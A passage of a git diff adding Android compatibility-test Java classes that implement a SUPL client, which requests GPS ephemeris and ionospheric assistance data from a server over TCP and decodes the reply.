+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.suplClient;
+
+import android.location.cts.asn1.supl2.rrlp_components.IonosphericModel;
+import android.location.cts.asn1.supl2.rrlp_components.NavModelElement;
+import android.location.cts.asn1.supl2.rrlp_components.NavigationModel;
+import android.location.cts.asn1.supl2.rrlp_components.SatStatus;
+import android.location.cts.asn1.supl2.rrlp_components.UncompressedEphemeris;
+import android.location.cts.asn1.supl2.rrlp_messages.PDU;
+import android.location.cts.asn1.supl2.supl_pos.PosPayLoad;
+import android.location.cts.asn1.supl2.ulp.ULP_PDU;
+import android.location.cts.asn1.supl2.ulp.UlpMessage;
+import android.location.cts.asn1.supl2.ulp_components.SessionID;
+import android.location.cts.gnss.nano.Ephemeris.GpsEphemerisProto;
+import android.location.cts.gnss.nano.Ephemeris.GpsNavMessageProto;
+import android.location.cts.gnss.nano.Ephemeris.IonosphericModelProto;
+import java.io.IOException;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A class that applies the SUPL protocol call flow to obtain GPS assistance data over a TCP
+ * connection.
+ *
+ * <p>A rough location of the receiver has to be known in advance which is passed to the method
+ * #generateNavMessage to obtain a GpsNavMessageProto containing the GPS assistance
+ * data.
+ *
+ * <p>The SUPL protocol flaw is made over a TCP socket to a server specified by SUPL_SERVER_NAME
+ * at port SUPL_SERVER_PORT.
+ */
+public class SuplRrlpController {
+ // Details of the following constants can be found in hte IS-GPS-200F which can be found at:
+ // http://www.navcen.uscg.gov/pdf/is-gps-200f.pdf
+ private static final double NAVIGATION_TGD_SCALE_FACTOR = Math.pow(2, -31);
+ private static final double NAVIGATION_TOC_SCALE_FACTOR = Math.pow(2, 4);
+ private static final double NAVIGATION_AF2_SCALE_FACTOR = Math.pow(2, -55);
+ private static final double NAVIGATION_AF1_SCALE_FACTOR = Math.pow(2, -43);
+ private static final double NAVIGATION_AF0_SCALE_FACTOR = Math.pow(2, -31);
+ private static final double NAVIGATION_CRS_SCALE_FACTOR = Math.pow(2, -5);
+ private static final double NAVIGATION_DELTA_N_SCALE_FACTOR = Math.pow(2, -43) * Math.PI;
+ private static final double NAVIGATION_M0_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
+ private static final double NAVIGATION_CUC_SCALE_FACTOR = Math.pow(2, -29);
+ private static final double NAVIGATION_E_SCALE_FACTOR = Math.pow(2, -33);
+ private static final double NAVIGATION_CUS_SCALE_FACTOR = Math.pow(2, -29);
+ private static final double NAVIGATION_A_POWER_HALF_SCALE_FACTOR = Math.pow(2, -19);
+ private static final double NAVIGATION_TOE_SCALE_FACTOR = Math.pow(2, 4);
+ private static final double NAVIGATION_CIC_SCALE_FACTOR = Math.pow(2, -29);
+ private static final double NAVIGATION_OMEGA0_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
+ private static final double NAVIGATION_CIS_SCALE_FACTOR = Math.pow(2, -29);
+ private static final double NAVIGATION_I0_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
+ private static final double NAVIGATION_CRC_SCALE_FACTOR = Math.pow(2, -5);
+ private static final double NAVIGATION_W_SCALE_FACTOR = Math.pow(2, -31) * Math.PI;
+ private static final double NAVIGATION_OMEGA_A_DOT_SCALE_FACTOR = Math.pow(2, -43) * Math.PI;
+ private static final double NAVIGATION_I_DOT_SCALE_FACTOR = Math.pow(2, -43) * Math.PI;
+ private static final double IONOSPHERIC_ALFA_0_SCALE_FACTOR = Math.pow(2, -30);
+ private static final double IONOSPHERIC_ALFA_1_SCALE_FACTOR = Math.pow(2, -27);
+ private static final double IONOSPHERIC_ALFA_2_SCALE_FACTOR = Math.pow(2, -24);
+ private static final double IONOSPHERIC_ALFA_3_SCALE_FACTOR = Math.pow(2, -24);
+ private static final double IONOSPHERIC_BETA_0_SCALE_FACTOR = Math.pow(2, 11);
+ private static final double IONOSPHERIC_BETA_1_SCALE_FACTOR = Math.pow(2, 14);
+ private static final double IONOSPHERIC_BETA_2_SCALE_FACTOR = Math.pow(2, 16);
+ private static final double IONOSPHERIC_BETA_3_SCALE_FACTOR = Math.pow(2, 16);
+
+ // 3657 is the number of days between the unix epoch and GPS epoch as the GPS epoch started on
+ // Jan 6, 1980
+ private static final long GPS_EPOCH_AS_UNIX_EPOCH_MS = TimeUnit.DAYS.toMillis(3657);
+ // A GPS Cycle is 1024 weeks, or 7168 days
+ private static final long GPS_CYCLE_MS = TimeUnit.DAYS.toMillis(7168);
+ private static final int GPS_CYCLE_WEEKS = 1024;
+
+ private final String suplServerName;
+ private final int suplServerPort;
+
+ public SuplRrlpController(String suplServerName, int suplServerPort) {
+ this.suplServerName = suplServerName;
+ this.suplServerPort = suplServerPort;
+ }
+
+ /**
+ * Applies the SUPL protocol call flaw to obtain the assistance data and store the result in a
+ * GpsNavMessageProto
+ */
+ public GpsNavMessageProto generateNavMessage(long latE7, long lngE7)
+ throws UnknownHostException, IOException {
+ // Establishes a TCP socket that is used to send and receive SUPL messages
+ SuplTcpClient tcpClient = new SuplTcpClient(suplServerName, suplServerPort);
+
+ // Send a SUPL START message from the client to server
+ byte[] suplStartMessage = SuplRrlpMessagesGenerator.generateSuplStartLocalLocationMessage(null);
+ tcpClient.sendSuplRequest(suplStartMessage);
+ // Receive a SUPL RESPONSE from the server and obtain the Session ID send by the server
+ byte[] response = tcpClient.getSuplResponse();
+ if (response == null) {
+ return new GpsNavMessageProto();
+ }
+ ULP_PDU decodedMessage = ULP_PDU.fromPerUnaligned(response);
+
+ if (!decodedMessage.getMessage().isMsSUPLRESPONSE()) {
+ return new GpsNavMessageProto();
+ }
+ SessionID sessionId = decodedMessage.getSessionID();
+
+ // Send a SUPL POS INIT message from the client to the server requesting GPS assistance data
+ // for the location specified by the given latitude and longitude
+ byte[] suplPosInitMessage = SuplRrlpMessagesGenerator
+ .generateSuplPositionInitLocalLocationMessage(sessionId, latE7, lngE7);
+ tcpClient.sendSuplRequest(suplPosInitMessage);
+
+ // Receive a SUPL POS message from the server containing all the assitance data requested
+ response = tcpClient.getSuplResponse();
+ if (response == null) {
+ return new GpsNavMessageProto();
+ }
+ decodedMessage = ULP_PDU.fromPerUnaligned(response);
+
+ if (!decodedMessage.getMessage().isMsSUPLPOS()) {
+ return new GpsNavMessageProto();
+ }
+ // build a NavMessageProto out of the received decoded payload from the SUPL server
+ GpsNavMessageProto navMessageProto = buildNavMessageProto(decodedMessage);
+
+ tcpClient.closeSocket();
+
+ return navMessageProto;
+ }
+
+ /** Fills GpsNavMessageProto with the assistance data obtained in ULP_PDU */
+ private GpsNavMessageProto buildNavMessageProto(ULP_PDU decodedMessage) {
+ UlpMessage message = decodedMessage.getMessage();
+
+ PosPayLoad.rrlpPayloadType rrlpPayload =
+ message.getMsSUPLPOS().getPosPayLoad().getRrlpPayload();
+ PDU pdu = PDU.fromPerUnaligned(rrlpPayload.getValue());
+ IonosphericModel ionoModel = pdu.getComponent().getAssistanceData().getGps_AssistData()
+ .getControlHeader().getIonosphericModel();
+ NavigationModel navModel = pdu.getComponent().getAssistanceData().getGps_AssistData()
+ .getControlHeader().getNavigationModel();
+ int gpsWeek = pdu.getComponent().getAssistanceData().getGps_AssistData().getControlHeader()
+ .getReferenceTime().getGpsTime().getGpsWeek().getInteger().intValue();
+ gpsWeek = getGpsWeekWithRollover(gpsWeek);
+ Iterable<NavModelElement> navModelElements = navModel.getNavModelList().getValues();
+
+ GpsNavMessageProto gpsNavMessageProto = new GpsNavMessageProto();
+ gpsNavMessageProto.rpcStatus = GpsNavMessageProto.UNKNOWN_RPC_STATUS;
+
+ // Set Iono Model.
+ IonosphericModelProto ionosphericModelProto = new IonosphericModelProto();
+ double[] alpha = new double[4];
+ alpha[0] = ionoModel.getAlfa0().getInteger().byteValue() * IONOSPHERIC_ALFA_0_SCALE_FACTOR;
+ alpha[1] = ionoModel.getAlfa1().getInteger().byteValue() * IONOSPHERIC_ALFA_1_SCALE_FACTOR;
+ alpha[2] = ionoModel.getAlfa2().getInteger().byteValue() * IONOSPHERIC_ALFA_2_SCALE_FACTOR;
+ alpha[3] = ionoModel.getAlfa3().getInteger().byteValue() * IONOSPHERIC_ALFA_3_SCALE_FACTOR;
+ ionosphericModelProto.alpha = alpha;
+
+ double[] beta = new double[4];
+ beta[0] = ionoModel.getBeta0().getInteger().byteValue() * IONOSPHERIC_BETA_0_SCALE_FACTOR;
+ beta[1] = ionoModel.getBeta1().getInteger().byteValue() * IONOSPHERIC_BETA_1_SCALE_FACTOR;
+ beta[2] = ionoModel.getBeta2().getInteger().byteValue() * IONOSPHERIC_BETA_2_SCALE_FACTOR;
+ beta[3] = ionoModel.getBeta3().getInteger().byteValue() * IONOSPHERIC_BETA_3_SCALE_FACTOR;
+ ionosphericModelProto.beta = beta;
+
+ gpsNavMessageProto.iono = ionosphericModelProto;
+
+ ArrayList<GpsEphemerisProto> ephemerisList = new ArrayList<>();
+ for (NavModelElement navModelElement : navModelElements) {
+ int satID = navModelElement.getSatelliteID().getInteger().intValue();
+ SatStatus satStatus = navModelElement.getSatStatus();
+ UncompressedEphemeris ephemeris = satStatus.getNewSatelliteAndModelUC();
+
+ GpsEphemerisProto gpsEphemerisProto = new GpsEphemerisProto();
+ toSingleEphemeris(satID, gpsWeek, ephemeris, gpsEphemerisProto);
+ ephemerisList.add(gpsEphemerisProto);
+ }
+
+ gpsNavMessageProto.ephemerids =
+ ephemerisList.toArray(new GpsEphemerisProto[ephemerisList.size()]);
+ gpsNavMessageProto.rpcStatus = GpsNavMessageProto.SUCCESS;
+
+ return gpsNavMessageProto;
+ }
+
+ /**
+ * Calculates the GPS week with rollovers. A rollover happens every 1024 weeks, beginning from GPS
+ * epoch (January 6, 1980).
+ *
+ * @param gpsWeek The modulo-1024 GPS week.
+ *
+ * @return The absolute GPS week.
+ */
+ private int getGpsWeekWithRollover(int gpsWeek) {
+ long nowMs = System.currentTimeMillis();
+ long elapsedTimeFromGpsEpochMs = nowMs - GPS_EPOCH_AS_UNIX_EPOCH_MS;
+ long rolloverCycles = elapsedTimeFromGpsEpochMs / GPS_CYCLE_MS;
+ int rolloverWeeks = (int) rolloverCycles * GPS_CYCLE_WEEKS;
+ return gpsWeek + rolloverWeeks;
+ }
+
+ /**
+ * Fills GpsEphemerisProto with the assistance data obtained in UncompressedEphemeris for the
+ * given satellite id.
+ */
+ private void toSingleEphemeris(
+ int satId, int gpsWeek, UncompressedEphemeris ephemeris,
+ GpsEphemerisProto gpsEphemerisProto) {
+
+ gpsEphemerisProto.prn = satId + 1;
+ gpsEphemerisProto.week = gpsWeek;
+ gpsEphemerisProto.l2Code = ephemeris.getEphemCodeOnL2().getInteger().intValue();
+ gpsEphemerisProto.l2Flag = ephemeris.getEphemL2Pflag().getInteger().intValue();
+ gpsEphemerisProto.svHealth = ephemeris.getEphemSVhealth().getInteger().intValue();
+
+ gpsEphemerisProto.iode = ephemeris.getEphemIODC().getInteger().intValue();
+ gpsEphemerisProto.iodc = ephemeris.getEphemIODC().getInteger().intValue();
+ gpsEphemerisProto.toc = ephemeris.getEphemToc().getInteger().intValue() * NAVIGATION_TOC_SCALE_FACTOR;
+ gpsEphemerisProto.toe = ephemeris.getEphemToe().getInteger().intValue() * NAVIGATION_TOE_SCALE_FACTOR;
+ gpsEphemerisProto.af0 = ephemeris.getEphemAF0().getInteger().intValue() * NAVIGATION_AF0_SCALE_FACTOR;
+ gpsEphemerisProto.af1 = ephemeris.getEphemAF1().getInteger().shortValue() * NAVIGATION_AF1_SCALE_FACTOR;
+ gpsEphemerisProto.af2 = ephemeris.getEphemAF2().getInteger().byteValue() * NAVIGATION_AF2_SCALE_FACTOR;
+ gpsEphemerisProto.tgd = ephemeris.getEphemTgd().getInteger().byteValue() * NAVIGATION_TGD_SCALE_FACTOR;
+ gpsEphemerisProto.rootOfA = ephemeris.getEphemAPowerHalf().getInteger().longValue()
+ * NAVIGATION_A_POWER_HALF_SCALE_FACTOR;
+
+ gpsEphemerisProto.e = ephemeris.getEphemE().getInteger().longValue() * NAVIGATION_E_SCALE_FACTOR;
+ gpsEphemerisProto.i0 = ephemeris.getEphemI0().getInteger().intValue() * NAVIGATION_I0_SCALE_FACTOR;
+ gpsEphemerisProto.iDot = ephemeris.getEphemIDot().getInteger().intValue() * NAVIGATION_I_DOT_SCALE_FACTOR;
+ gpsEphemerisProto.omega = ephemeris.getEphemW().getInteger().intValue() * NAVIGATION_W_SCALE_FACTOR;
+ gpsEphemerisProto.omega0 = ephemeris.getEphemOmegaA0().getInteger().intValue() * NAVIGATION_OMEGA0_SCALE_FACTOR;
+ gpsEphemerisProto.omegaDot = ephemeris.getEphemOmegaADot().getInteger().intValue()
+ * NAVIGATION_OMEGA_A_DOT_SCALE_FACTOR;
+ gpsEphemerisProto.m0 = ephemeris.getEphemM0().getInteger().intValue() * NAVIGATION_M0_SCALE_FACTOR;
+ gpsEphemerisProto.deltaN = ephemeris.getEphemDeltaN().getInteger().shortValue() * NAVIGATION_DELTA_N_SCALE_FACTOR;
+ gpsEphemerisProto.crc = ephemeris.getEphemCrc().getInteger().shortValue() * NAVIGATION_CRC_SCALE_FACTOR;
+ gpsEphemerisProto.crs = ephemeris.getEphemCrs().getInteger().shortValue() * NAVIGATION_CRS_SCALE_FACTOR;
+ gpsEphemerisProto.cuc = ephemeris.getEphemCuc().getInteger().shortValue() * NAVIGATION_CUC_SCALE_FACTOR;
+ gpsEphemerisProto.cus = ephemeris.getEphemCus().getInteger().shortValue() * NAVIGATION_CUS_SCALE_FACTOR;
+ gpsEphemerisProto.cic = ephemeris.getEphemCic().getInteger().shortValue() * NAVIGATION_CIC_SCALE_FACTOR;
+ gpsEphemerisProto.cis = ephemeris.getEphemCis().getInteger().shortValue() * NAVIGATION_CIS_SCALE_FACTOR;
+
+ }
+
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplRrlpMessagesGenerator.java b/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplRrlpMessagesGenerator.java
new file mode 100644
index 0000000..156108b
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplRrlpMessagesGenerator.java
@@ -0,0 +1,288 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.suplClient;
+
+import android.location.cts.asn1.base.PacketBuilder;
+import android.location.cts.asn1.supl2.rrlp_messages.PDU;
+import android.location.cts.asn1.supl2.supl_pos.PosPayLoad;
+import android.location.cts.asn1.supl2.supl_pos.SUPLPOS;
+import android.location.cts.asn1.supl2.supl_pos_init.NavigationModel;
+import android.location.cts.asn1.supl2.supl_pos_init.RequestedAssistData;
+import android.location.cts.asn1.supl2.supl_pos_init.SUPLPOSINIT;
+import android.location.cts.asn1.supl2.supl_start.PosProtocol;
+import android.location.cts.asn1.supl2.supl_start.PosTechnology;
+import android.location.cts.asn1.supl2.supl_start.PrefMethod;
+import android.location.cts.asn1.supl2.supl_start.SETCapabilities;
+import android.location.cts.asn1.supl2.supl_start.SUPLSTART;
+import android.location.cts.asn1.supl2.ulp.ULP_PDU;
+import android.location.cts.asn1.supl2.ulp.UlpMessage;
+import android.location.cts.asn1.supl2.ulp_components.CellInfo;
+import android.location.cts.asn1.supl2.ulp_components.LocationId;
+import android.location.cts.asn1.supl2.ulp_components.Position;
+import android.location.cts.asn1.supl2.ulp_components.Position.timestampType;
+import android.location.cts.asn1.supl2.ulp_components.PositionEstimate;
+import android.location.cts.asn1.supl2.ulp_components.PositionEstimate.latitudeSignType;
+import android.location.cts.asn1.supl2.ulp_components.SessionID;
+import android.location.cts.asn1.supl2.ulp_components.SetSessionID;
+import android.location.cts.asn1.supl2.ulp_components.Status;
+import android.location.cts.asn1.supl2.ulp_components.Version;
+import android.location.cts.asn1.supl2.ulp_components.WcdmaCellInformation;
+
+import java.math.BigInteger;
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.util.BitSet;
+import java.util.Calendar;
+import java.util.GregorianCalendar;
+import java.util.Random;
+import java.util.TimeZone;
+
+import javax.annotation.Nullable;
+
+/**
+ * A class that generates several types of GPS SUPL client payloads that can be transmitted over a
+ * GPS socket.
+ *
+ * <p>Two types of SUPL payloads are supported in this version: Local Location and WCDMA versions.
+ * However, it should be straightforward to extend this class to support other types of SUPL
+ * requests.
+ */
+public class SuplRrlpMessagesGenerator {
+ // Scale factors used for conversion from latitude and longitude in SUPL protocol format
+ // to decimal format
+ private static final double POSITION_ESTIMATE_LAT_SCALE_FACTOR = 90.0 / 8388608.0;
+ private static final double POSITION_ESTIMATE_LNG_SCALE_FACTOR = 180.0 / 8388608.0;
+
+ /**
+ * Generate a SUPL START message that can be send by the SUPL client to the server in the case
+ * that device location is known via a latitude and a longitude.
+ *
+ * <p>SUPL START is the first message to be send from the client to the server. The server should
+ * response to the SUPL START message with a SUPL RESPONSE message containing a SessionID.
+ *
+ */
+ public static byte[] generateSuplStartLocalLocationMessage(@Nullable InetAddress ipAddress)
+ throws UnknownHostException {
+
+ ULP_PDU ulpPdu = new ULP_PDU();
+ Version version = ulpPdu.setVersionToNewInstance();
+ version.setMinToNewInstance().setInteger(BigInteger.ZERO);
+ version.setMajToNewInstance().setInteger(BigInteger.valueOf(2));
+ version.setServindToNewInstance().setInteger(BigInteger.ZERO);
+ ulpPdu.setVersion(version);
+
+ SessionID sessionId = ulpPdu.setSessionIDToNewInstance();
+
+ SetSessionID setSessionId = sessionId.setSetSessionIDToNewInstance();
+ setSessionId.setSessionIdToNewInstance()
+ .setInteger(BigInteger.valueOf(new Random().nextInt(65536)));
+ if (ipAddress == null){
+ ipAddress = InetAddress.getLocalHost();
+ }
+ byte[] ipAsbytes = ipAddress.getAddress();
+ setSessionId.setSetIdToNewInstance().setIPAddressToNewInstance().setIpv4AddressToNewInstance()
+ .setValue(ipAsbytes);
+
+ UlpMessage message = new UlpMessage();
+ SUPLSTART suplStart = message.setMsSUPLSTARTToNewInstance();
+ SETCapabilities setCapabilities = suplStart.setSETCapabilitiesToNewInstance();
+ PosTechnology posTechnology = setCapabilities.setPosTechnologyToNewInstance();
+ posTechnology.setAgpsSETassistedToNewInstance().setValue(false);
+ posTechnology.setAgpsSETBasedToNewInstance().setValue(true);
+ posTechnology.setAutonomousGPSToNewInstance().setValue(true);
+ posTechnology.setAFLTToNewInstance().setValue(false);
+ posTechnology.setECIDToNewInstance().setValue(false);
+ posTechnology.setEOTDToNewInstance().setValue(false);
+ posTechnology.setOTDOAToNewInstance().setValue(false);
+
+ setCapabilities.setPrefMethodToNewInstance().setValue(PrefMethod.Value.agpsSETBasedPreferred);
+
+ PosProtocol posProtocol = setCapabilities.setPosProtocolToNewInstance();
+ posProtocol.setTia801ToNewInstance().setValue(false);
+ posProtocol.setRrlpToNewInstance().setValue(true);
+ posProtocol.setRrcToNewInstance().setValue(false);
+
+ LocationId locationId = suplStart.setLocationIdToNewInstance();
+ CellInfo cellInfo = locationId.setCellInfoToNewInstance();
+ cellInfo.setExtensionVer2_CellInfo_extensionToNewInstance();
+ // FF-FF-FF-FF-FF-FF
+ final String macBinary = "111111111111111111111111111111111111111111111111";
+ BitSet bits = new BitSet(macBinary.length());
+ for (int i = 0; i < macBinary.length(); ++i) {
+ if (macBinary.charAt(i) == '1') {
+ bits.set(i);
+ }
+ }
+ cellInfo.getExtensionVer2_CellInfo_extension().setWlanAPToNewInstance()
+ .setApMACAddressToNewInstance().setValue(bits);
+ locationId.setStatusToNewInstance().setValue(Status.Value.current);
+
+ message.setMsSUPLSTART(suplStart);
+
+ ulpPdu.setMessage(message);
+ return encodeUlp(ulpPdu);
+ }
+
+ /**
+ * Generate a SUPL POS INIT message that can be send by the SUPL client to the server in the case
+ * that device location is known via a latitude and a longitude.
+ *
+ * <p>SUPL POS INIT is the second message to be send from the client to the server after receiving
+ * a SUPL RESPONSE containing a SessionID from the server. The SessionID received
+ * from the server response should set in the SUPL POS INIT message.
+ *
+ */
+ public static byte[] generateSuplPositionInitLocalLocationMessage(SessionID sessionId, long latE7,
+ long lngE7) {
+
+ ULP_PDU ulpPdu = new ULP_PDU();
+ Version version = ulpPdu.setVersionToNewInstance();
+ version.setMinToNewInstance().setInteger(BigInteger.ZERO);
+ version.setMajToNewInstance().setInteger(BigInteger.valueOf(2));
+ version.setServindToNewInstance().setInteger(BigInteger.ZERO);
+ ulpPdu.setVersion(version);
+
+ ulpPdu.setSessionID(sessionId);
+
+ UlpMessage message = new UlpMessage();
+ SUPLPOSINIT suplPosInit = message.setMsSUPLPOSINITToNewInstance();
+ SETCapabilities setCapabilities = suplPosInit.setSETCapabilitiesToNewInstance();
+ PosTechnology posTechnology = setCapabilities.setPosTechnologyToNewInstance();
+ posTechnology.setAgpsSETassistedToNewInstance().setValue(false);
+ posTechnology.setAgpsSETBasedToNewInstance().setValue(true);
+ posTechnology.setAutonomousGPSToNewInstance().setValue(true);
+ posTechnology.setAFLTToNewInstance().setValue(false);
+ posTechnology.setECIDToNewInstance().setValue(false);
+ posTechnology.setEOTDToNewInstance().setValue(false);
+ posTechnology.setOTDOAToNewInstance().setValue(false);
+
+ setCapabilities.setPrefMethodToNewInstance().setValue(PrefMethod.Value.agpsSETBasedPreferred);
+
+ PosProtocol posProtocol = setCapabilities.setPosProtocolToNewInstance();
+ posProtocol.setTia801ToNewInstance().setValue(false);
+ posProtocol.setRrlpToNewInstance().setValue(true);
+ posProtocol.setRrcToNewInstance().setValue(false);
+
+ RequestedAssistData reqAssistData = suplPosInit.setRequestedAssistDataToNewInstance();
+
+ reqAssistData.setAlmanacRequestedToNewInstance().setValue(false);
+ reqAssistData.setUtcModelRequestedToNewInstance().setValue(false);
+ reqAssistData.setIonosphericModelRequestedToNewInstance().setValue(true);
+ reqAssistData.setDgpsCorrectionsRequestedToNewInstance().setValue(false);
+ reqAssistData.setReferenceLocationRequestedToNewInstance().setValue(false);
+ reqAssistData.setReferenceTimeRequestedToNewInstance().setValue(true);
+ reqAssistData.setAcquisitionAssistanceRequestedToNewInstance().setValue(false);
+ reqAssistData.setRealTimeIntegrityRequestedToNewInstance().setValue(false);
+ reqAssistData.setNavigationModelRequestedToNewInstance().setValue(true);
+ NavigationModel navigationModelData = reqAssistData.setNavigationModelDataToNewInstance();
+ navigationModelData.setGpsWeekToNewInstance().setInteger(BigInteger.ZERO);
+ navigationModelData.setGpsToeToNewInstance().setInteger(BigInteger.ZERO);
+ navigationModelData.setNSATToNewInstance().setInteger(BigInteger.ZERO);
+ navigationModelData.setToeLimitToNewInstance().setInteger(BigInteger.ZERO);
+
+ LocationId locationId = suplPosInit.setLocationIdToNewInstance();
+ CellInfo cellInfo = locationId.setCellInfoToNewInstance();
+ cellInfo.setExtensionVer2_CellInfo_extensionToNewInstance();
+ // FF-FF-FF-FF-FF-FF
+ final String macBinary = "111111111111111111111111111111111111111111111111";
+ BitSet bits = new BitSet(macBinary.length());
+ for (int i = 0; i < macBinary.length(); ++i) {
+ if (macBinary.charAt(i) == '1') {
+ bits.set(i);
+ }
+ }
+ cellInfo.getExtensionVer2_CellInfo_extension().setWlanAPToNewInstance()
+ .setApMACAddressToNewInstance().setValue(bits);
+ locationId.setStatusToNewInstance().setValue(Status.Value.current);
+
+ Position pos = suplPosInit.setPositionToNewInstance();
+ timestampType utcTime = pos.setTimestampToNewInstance();
+ Calendar currentTime = GregorianCalendar.getInstance(TimeZone.getTimeZone("UTC"));
+ utcTime.setYear(currentTime.get(Calendar.YEAR));
+ utcTime.setMonth(currentTime.get(Calendar.MONTH) + 1); // Calendar's MONTH starts from 0.
+ utcTime.setDay(currentTime.get(Calendar.DAY_OF_MONTH));
+ utcTime.setHour(currentTime.get(Calendar.HOUR_OF_DAY));
+ utcTime.setMinute(currentTime.get(Calendar.MINUTE));
+ utcTime.setSecond(currentTime.get(Calendar.SECOND));
+
+ PositionEstimate posEstimate = pos.setPositionEstimateToNewInstance();
+
+ long latSuplFormat = (long) (Math.abs(latE7) / (POSITION_ESTIMATE_LAT_SCALE_FACTOR * 1E7));
+ long lngSuplFormat = (long) (lngE7 / (POSITION_ESTIMATE_LNG_SCALE_FACTOR * 1E7));
+ posEstimate.setLatitudeToNewInstance().setInteger(BigInteger.valueOf(latSuplFormat));
+ posEstimate.setLongitudeToNewInstance().setInteger(BigInteger.valueOf(lngSuplFormat));
+ posEstimate.setLatitudeSignToNewInstance()
+ .setValue(latE7 > 0 ? latitudeSignType.Value.north : latitudeSignType.Value.south);
+
+ message.setMsSUPLPOSINIT(suplPosInit);
+
+ ulpPdu.setMessage(message);
+ return encodeUlp(ulpPdu);
+ }
+
+ public static byte[] generateAssistanceDataAckMessage(SessionID sessionId) {
+ ULP_PDU ulpPdu = new ULP_PDU();
+ Version version = ulpPdu.setVersionToNewInstance();
+ version.setMinToNewInstance().setInteger(BigInteger.ZERO);
+ version.setMajToNewInstance().setInteger(BigInteger.valueOf(2));
+ version.setServindToNewInstance().setInteger(BigInteger.ZERO);
+ ulpPdu.setVersion(version);
+
+ ulpPdu.setSessionID(sessionId);
+
+ PDU pdu = new PDU();
+ pdu.setReferenceNumberToNewInstance();
+ pdu.getReferenceNumber().setInteger(BigInteger.ONE);
+ pdu.setComponentToNewInstance();
+ pdu.getComponent().setAssistanceDataAckToNewInstance();
+
+ PacketBuilder payloadBuilder = new PacketBuilder();
+ try {
+ payloadBuilder.appendAll(pdu.encodePerUnaligned());
+ } catch (IllegalArgumentException | IllegalStateException | IndexOutOfBoundsException
+ | UnsupportedOperationException e) {
+ throw new RuntimeException(e);
+ }
+ PosPayLoad.rrlpPayloadType rrlpPayload = new PosPayLoad.rrlpPayloadType();
+ rrlpPayload.setValue(payloadBuilder.getPaddedBytes());
+
+ UlpMessage message = new UlpMessage();
+ SUPLPOS suplPos = message.setMsSUPLPOSToNewInstance();
+ suplPos.setPosPayLoadToNewInstance();
+ suplPos.getPosPayLoad().setRrlpPayload(rrlpPayload);
+
+ ulpPdu.setMessage(message);
+
+ return encodeUlp(ulpPdu);
+ }
+
+ /** Encodes a ULP_PDU message into bytes and sets the length field. */
+ public static byte[] encodeUlp(ULP_PDU message) {
+ message.setLengthToNewInstance();
+ message.getLength().setInteger(BigInteger.ZERO);
+ PacketBuilder messageBuilder = new PacketBuilder();
+ messageBuilder.appendAll(message.encodePerUnaligned());
+ byte[] result = messageBuilder.getPaddedBytes();
+ ByteBuffer buffer = ByteBuffer.wrap(result);
+ buffer.order(ByteOrder.BIG_ENDIAN);
+ buffer.putShort((short) result.length);
+ return buffer.array();
+ }
+
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplTcpClient.java b/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplTcpClient.java
new file mode 100644
index 0000000..f56f330
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplTcpClient.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.suplClient;
+
+import java.io.BufferedInputStream;
+import java.io.IOException;
+import java.net.Socket;
+import java.net.UnknownHostException;
+import java.nio.ByteBuffer;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A TCP client that is used to send and receive SUPL request and responses by the SUPL client. The
+ * constructor establishes a connection to the SUPL server specified by a given address and port.
+ */
+public class SuplTcpClient {
+
+ private static final int READ_TIMEOUT_MILLIS = (int) TimeUnit.SECONDS.toMillis(10);
+ private static final short HEADER_SIZE = 2;
+ /** BUFFER_SIZE data size that is enough to hold SUPL responses */
+ private static final int SUPL_RESPONSE_BUFFER_SIZE = 16384;
+ private static final byte[] SUPL_RESPONSE_BUFFER = new byte[SUPL_RESPONSE_BUFFER_SIZE];
+
+ private Socket socket;
+ private BufferedInputStream bufferedInputStream;
+
+ public SuplTcpClient(String suplServerName, int suplServerPort)
+ throws UnknownHostException, IOException {
+ System.out.println("Connecting to " + suplServerName + " on port " + suplServerPort);
+ socket = new Socket(suplServerName, suplServerPort);
+ socket.setSoTimeout(READ_TIMEOUT_MILLIS);
+ System.out.println("Connection established to " + socket.getOutputStream());
+ bufferedInputStream = new BufferedInputStream(socket.getInputStream());
+
+ }
+
+ /** Sends a byte array of SUPL data to the server */
+ public void sendSuplRequest(byte[] data) throws IOException {
+ socket.getOutputStream().write(data);
+ }
+
+ /**
+ * Reads SUPL server response and return it as a byte array. Upon the SUPL protocol, the size of
+ * the payload is stored in the first two bytes of the response, hence these two bytes are read
+ * first followed by reading a payload of that size. Null is returned if the size of the payload
+ * is not readable.
+ */
+ public byte[] getSuplResponse() throws IOException {
